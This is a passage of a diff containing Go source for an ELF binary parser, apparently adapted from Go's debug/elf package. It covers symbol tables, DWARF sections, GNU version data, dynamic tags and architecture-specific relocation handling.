s.Addralign = ch.Addralign
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
}
|
||||
}
|
||||
|
||||
f.Sections[i] = s
|
||||
}
|
||||
|
||||
if err := f.parseDynTags(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(f.Sections) == 0 {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Load section header string table.
|
||||
shstrtab, err := f.Sections[f.ShStrIndex].Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, s := range f.Sections {
|
||||
var ok bool
|
||||
s.Name, ok = getString(shstrtab, int(names[i]))
|
||||
if !ok {
|
||||
return nil, &FormatError{f.SHTOffset + int64(i*shentsize), "bad section name index", names[i]}
|
||||
}
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// getSymbols returns a slice of Symbols from parsing the symbol table
|
||||
// with the given type, along with the associated string table.
|
||||
func (f *File) getSymbols(typ SectionType) ([]Symbol, []byte, error) {
|
||||
switch f.Class {
|
||||
case ELFCLASS64:
|
||||
return f.getSymbols64(typ)
|
||||
|
||||
case ELFCLASS32:
|
||||
return f.getSymbols32(typ)
|
||||
}
|
||||
|
||||
return nil, nil, errors.New("not implemented")
|
||||
}
|
||||
|
||||
// ErrNoSymbols is returned by File.Symbols and File.DynamicSymbols
|
||||
// if there is no such section in the File.
|
||||
var ErrNoSymbols = errors.New("no symbol section")
|
||||
|
||||
func (f *File) getSymbols32(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym32Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of SymSize")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym32Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym32Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym32
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].Value = uint64(sym.Value)
|
||||
symbols[i].Size = uint64(sym.Size)
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
func (f *File) getSymbols64(typ SectionType) ([]Symbol, []byte, error) {
|
||||
symtabSection := f.SectionByType(typ)
|
||||
if symtabSection == nil {
|
||||
return nil, nil, ErrNoSymbols
|
||||
}
|
||||
|
||||
data, err := symtabSection.Data()
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load symbol section")
|
||||
}
|
||||
symtab := bytes.NewReader(data)
|
||||
if symtab.Len()%Sym64Size != 0 {
|
||||
return nil, nil, errors.New("length of symbol section is not a multiple of Sym64Size")
|
||||
}
|
||||
|
||||
strdata, err := f.stringTable(symtabSection.Link)
|
||||
if err != nil {
|
||||
return nil, nil, errors.New("cannot load string table section")
|
||||
}
|
||||
|
||||
// The first entry is all zeros.
|
||||
var skip [Sym64Size]byte
|
||||
symtab.Read(skip[:])
|
||||
|
||||
symbols := make([]Symbol, symtab.Len()/Sym64Size)
|
||||
|
||||
i := 0
|
||||
var sym Sym64
|
||||
for symtab.Len() > 0 {
|
||||
binary.Read(symtab, f.ByteOrder, &sym)
|
||||
str, _ := getString(strdata, int(sym.Name))
|
||||
symbols[i].Name = str
|
||||
symbols[i].NameIndex = sym.Name
|
||||
symbols[i].Info = sym.Info
|
||||
symbols[i].Other = sym.Other
|
||||
symbols[i].Section = SectionIndex(sym.Shndx)
|
||||
symbols[i].SectIndex = sym.Shndx
|
||||
symbols[i].Value = sym.Value
|
||||
symbols[i].Size = sym.Size
|
||||
i++
|
||||
}
|
||||
|
||||
return symbols, strdata, nil
|
||||
}
|
||||
|
||||
// getString extracts a string from an ELF string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns a section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF - No idea what this does
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
// sectionData gets the data for s, checks its size, and
|
||||
// applies any applicable relations.
|
||||
sectionData := func(i int, s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
|
||||
for _, r := range f.Sections {
|
||||
if r.Type != SHT_RELA && r.Type != SHT_REL {
|
||||
continue
|
||||
}
|
||||
if int(r.Info) != i {
|
||||
continue
|
||||
}
|
||||
rd, err := r.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = f.applyRelocations(b, rd)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(i, s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// Symbols returns the symbol table for f. The symbols will be listed in the order
|
||||
// they appear in f.
|
||||
//
|
||||
// For compatibility with Go 1.0, Symbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) Symbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
// DynamicSymbols returns the dynamic symbol table for f. The symbols
|
||||
// will be listed in the order they appear in f.
|
||||
//
|
||||
// For compatibility with Symbols, DynamicSymbols omits the null symbol at index 0.
|
||||
// After retrieving the symbols as symtab, an externally supplied index x
|
||||
// corresponds to symtab[x-1], not symtab[x].
|
||||
func (f *File) DynamicSymbols() ([]Symbol, error) {
|
||||
sym, _, err := f.getSymbols(SHT_DYNSYM)
|
||||
return sym, err
|
||||
}
|
||||
|
||||
type ImportedSymbol struct {
|
||||
Name string
|
||||
Version string
|
||||
Library string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]ImportedSymbol, error) {
|
||||
sym, str, err := f.getSymbols(SHT_DYNSYM)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.gnuVersionInit(str)
|
||||
var all []ImportedSymbol
|
||||
for i, s := range sym {
|
||||
if ST_BIND(s.Info) == STB_GLOBAL && s.Section == SHN_UNDEF {
|
||||
all = append(all, ImportedSymbol{Name: s.Name})
|
||||
f.gnuVersion(i, &all[len(all)-1])
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
type verneed struct {
|
||||
File string
|
||||
Name string
|
||||
}
|
||||
|
||||
// gnuVersionInit parses the GNU version tables
|
||||
// for use by calls to gnuVersion.
|
||||
func (f *File) gnuVersionInit(str []byte) {
|
||||
// Accumulate verneed information.
|
||||
vn := f.SectionByType(SHT_GNU_VERNEED)
|
||||
if vn == nil {
|
||||
return
|
||||
}
|
||||
d, _ := vn.Data()
|
||||
|
||||
var need []verneed
|
||||
i := 0
|
||||
for {
|
||||
if i+16 > len(d) {
|
||||
break
|
||||
}
|
||||
vers := f.ByteOrder.Uint16(d[i : i+2])
|
||||
if vers != 1 {
|
||||
break
|
||||
}
|
||||
cnt := f.ByteOrder.Uint16(d[i+2 : i+4])
|
||||
fileoff := f.ByteOrder.Uint32(d[i+4 : i+8])
|
||||
aux := f.ByteOrder.Uint32(d[i+8 : i+12])
|
||||
next := f.ByteOrder.Uint32(d[i+12 : i+16])
|
||||
file, _ := getString(str, int(fileoff))
|
||||
|
||||
var name string
|
||||
j := i + int(aux)
|
||||
for c := 0; c < int(cnt); c++ {
|
||||
if j+16 > len(d) {
|
||||
break
|
||||
}
|
||||
// hash := f.ByteOrder.Uint32(d[j:j+4])
|
||||
// flags := f.ByteOrder.Uint16(d[j+4:j+6])
|
||||
other := f.ByteOrder.Uint16(d[j+6 : j+8])
|
||||
nameoff := f.ByteOrder.Uint32(d[j+8 : j+12])
|
||||
next := f.ByteOrder.Uint32(d[j+12 : j+16])
|
||||
name, _ = getString(str, int(nameoff))
|
||||
ndx := int(other)
|
||||
if ndx >= len(need) {
|
||||
a := make([]verneed, 2*(ndx+1))
|
||||
copy(a, need)
|
||||
need = a
|
||||
}
|
||||
|
||||
need[ndx] = verneed{file, name}
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
j += int(next)
|
||||
}
|
||||
|
||||
if next == 0 {
|
||||
break
|
||||
}
|
||||
i += int(next)
|
||||
}
|
||||
|
||||
// Versym parallels symbol table, indexing into verneed.
|
||||
vs := f.SectionByType(SHT_GNU_VERSYM)
|
||||
if vs == nil {
|
||||
return
|
||||
}
|
||||
d, _ = vs.Data()
|
||||
|
||||
f.gnuNeed = need
|
||||
f.gnuVersym = d
|
||||
}
|
||||
|
||||
// gnuVersion adds Library and Version information to sym,
|
||||
// which came from offset i of the symbol table.
|
||||
func (f *File) gnuVersion(i int, sym *ImportedSymbol) {
|
||||
// Each entry is two bytes.
|
||||
i = (i + 1) * 2
|
||||
if i >= len(f.gnuVersym) {
|
||||
return
|
||||
}
|
||||
j := int(f.ByteOrder.Uint16(f.gnuVersym[i:]))
|
||||
if j < 2 || j >= len(f.gnuNeed) {
|
||||
return
|
||||
}
|
||||
n := &f.gnuNeed[j]
|
||||
sym.Library = n.File
|
||||
sym.Version = n.Name
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
return f.DynString(DT_NEEDED)
|
||||
}
|
||||
|
||||
func (f *File) parseDynTags() error {
|
||||
s := f.SectionByType(SHT_DYNAMIC)
|
||||
if s == nil {
|
||||
return nil // nothing to do
|
||||
}
|
||||
|
||||
var m []DynTagValue
|
||||
d, err := s.Data()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//fmt.Printf("%+v\nd: %x len(%d)\n", s, d, len(d))
|
||||
|
||||
r := bytes.NewBuffer(d)
|
||||
for {
|
||||
var t, v uint64
|
||||
if err := binary.Read(r, f.ByteOrder, &t); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if err := binary.Read(r, f.ByteOrder, &v); err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
} else if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
m = append(m, DynTagValue{Tag: DynTag(t), Value: v})
|
||||
//fmt.Printf("%x -> %x\n", t, v)
|
||||
}
|
||||
f.DynTags = m
|
||||
return nil
|
||||
}
|
||||
|
||||
// DynString returns the strings listed for the given tag in the file's dynamic
|
||||
// section.
|
||||
//
|
||||
// The tag must be one that takes string values: DT_NEEDED, DT_SONAME, DT_RPATH, or
|
||||
// DT_RUNPATH.
|
||||
func (f *File) DynString(tag DynTag) ([]string, error) {
|
||||
switch tag {
|
||||
case DT_NEEDED, DT_SONAME, DT_RPATH, DT_RUNPATH:
|
||||
default:
|
||||
return nil, fmt.Errorf("non-string-valued tag %v", tag)
|
||||
}
|
||||
|
||||
ds := f.SectionByType(SHT_DYNAMIC)
|
||||
if ds == nil {
|
||||
// not dynamic, so no libraries
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
str, err := f.stringTable(ds.Link)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var all []string
|
||||
for _, taggedValue := range f.DynTags {
|
||||
if taggedValue.Tag == tag {
|
||||
s, ok := getString(str, int(taggedValue.Value))
|
||||
if ok {
|
||||
all = append(all, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-108
@@ -1,108 +0,0 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package elf
|
||||
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// errorReader returns error from all operations.
|
||||
type errorReader struct {
|
||||
error
|
||||
}
|
||||
|
||||
func (r errorReader) Read(p []byte) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Seek(offset int64, whence int) (int64, error) {
|
||||
return 0, r.error
|
||||
}
|
||||
|
||||
func (r errorReader) Close() error {
|
||||
return r.error
|
||||
}
|
||||
|
||||
// readSeekerFromReader converts an io.Reader into an io.ReadSeeker.
|
||||
// In general Seek may not be efficient, but it is optimized for
|
||||
// common cases such as seeking to the end to find the length of the
|
||||
// data.
|
||||
type readSeekerFromReader struct {
|
||||
reset func() (io.Reader, error)
|
||||
r io.Reader
|
||||
size int64
|
||||
offset int64
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) start() {
|
||||
x, err := r.reset()
|
||||
if err != nil {
|
||||
r.r = errorReader{err}
|
||||
} else {
|
||||
r.r = x
|
||||
}
|
||||
r.offset = 0
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Read(p []byte) (n int, err error) {
|
||||
if r.r == nil {
|
||||
r.start()
|
||||
}
|
||||
n, err = r.r.Read(p)
|
||||
r.offset += int64(n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (r *readSeekerFromReader) Seek(offset int64, whence int) (int64, error) {
|
||||
var newOffset int64
|
||||
switch whence {
|
||||
case seekStart:
|
||||
newOffset = offset
|
||||
case seekCurrent:
|
||||
newOffset = r.offset + offset
|
||||
case seekEnd:
|
||||
newOffset = r.size + offset
|
||||
default:
|
||||
return 0, os.ErrInvalid
|
||||
}
|
||||
|
||||
switch {
|
||||
case newOffset == r.offset:
|
||||
return newOffset, nil
|
||||
|
||||
case newOffset < 0, newOffset > r.size:
|
||||
return 0, os.ErrInvalid
|
||||
|
||||
case newOffset == 0:
|
||||
r.r = nil
|
||||
|
||||
case newOffset == r.size:
|
||||
r.r = errorReader{io.EOF}
|
||||
|
||||
default:
|
||||
if newOffset < r.offset {
|
||||
// Restart at the beginning.
|
||||
r.start()
|
||||
}
|
||||
// Read until we reach offset.
|
||||
var buf [512]byte
|
||||
for r.offset < newOffset {
|
||||
b := buf[:]
|
||||
if newOffset-r.offset < int64(len(buf)) {
|
||||
b = buf[:newOffset-r.offset]
|
||||
}
|
||||
if _, err := r.Read(b); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
}
|
||||
r.offset = newOffset
|
||||
return r.offset, nil
|
||||
}
|
||||
-529
@@ -1,529 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
)
|
||||
|
||||
// applyRelocations applies relocations to dst. rels is a relocations section
|
||||
// in REL or RELA format.
|
||||
func (f *File) applyRelocations(dst []byte, rels []byte) error {
|
||||
switch {
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_X86_64:
|
||||
return f.applyRelocationsAMD64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_386:
|
||||
return f.applyRelocations386(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_ARM:
|
||||
return f.applyRelocationsARM(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_AARCH64:
|
||||
return f.applyRelocationsARM64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_PPC:
|
||||
return f.applyRelocationsPPC(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_PPC64:
|
||||
return f.applyRelocationsPPC64(dst, rels)
|
||||
case f.Class == ELFCLASS32 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_MIPS:
|
||||
return f.applyRelocationsMIPS64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_RISCV:
|
||||
return f.applyRelocationsRISCV64(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_S390:
|
||||
return f.applyRelocationss390x(dst, rels)
|
||||
case f.Class == ELFCLASS64 && f.Machine == EM_SPARCV9:
|
||||
return f.applyRelocationsSPARC64(dst, rels)
|
||||
default:
|
||||
return errors.New("applyRelocations: not implemented")
|
||||
}
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsAMD64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_X86_64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_X86_64_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_X86_64_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocations386(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_386(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
if t == R_386_32 {
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_ARM(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_ARM_ABS32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsARM64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_AARCH64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
// There are relocations, so this must be a normal
|
||||
// object file, and we only look at section symbols,
|
||||
// so we assume that the symbol value is 0.
|
||||
|
||||
switch t {
|
||||
case R_AARCH64_ABS64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_AARCH64_ABS32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC(dst []byte, rels []byte) error {
|
||||
// 12 is the size of Rela32.
|
||||
if len(rels)%12 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 12")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 8
|
||||
t := R_PPC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC_ADDR32:
|
||||
if rela.Off+4 >= uint32(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsPPC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_PPC64(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_PPC64_ADDR64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_PPC64_ADDR32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_MIPS(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_MIPS_32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
var symNo uint64
|
||||
var t R_MIPS
|
||||
if f.ByteOrder == binary.BigEndian {
|
||||
symNo = rela.Info >> 32
|
||||
t = R_MIPS(rela.Info & 0xff)
|
||||
